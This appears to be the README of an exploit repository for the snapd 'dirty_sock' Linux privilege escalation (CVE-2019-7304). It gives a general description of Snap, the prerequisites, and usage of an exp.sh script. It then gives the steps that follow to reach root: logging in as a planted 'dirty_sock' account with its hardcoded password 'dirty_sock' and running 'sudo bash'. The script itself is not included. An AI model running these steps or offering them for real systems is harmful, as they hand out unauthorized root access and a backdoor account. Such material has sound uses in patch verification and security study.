Another implementation for linux privilege escalation exploit via snap(d) (CVE-2019-7304)
Snap is a software packaging and deployment system developed by Canonical for the operating systems that use the Linux kernel. The packages, called snaps, and the tool for using them, snapd, work across a range of Linux distributions and allow upstream software developers to distribute their applications directly to users. Snaps are self-contained applications running in a sandbox with mediated access to the host system. Snap was originally released for cloud applications[1] but was later ported to work for Internet of Things devices[3][4] and desktop[5][6] applications too.
dirty_sock: Linux Privilege Escalation (via snapd)
- snap installed on system
- you have sudo with or without password on snap
./exp.sh "snap_path" "pwd"
ex:
./exp.sh "/usr/bin/snap" "/home/evil"
then you can use
su - dirty_sock
dirty_sock (as password)
sudo bash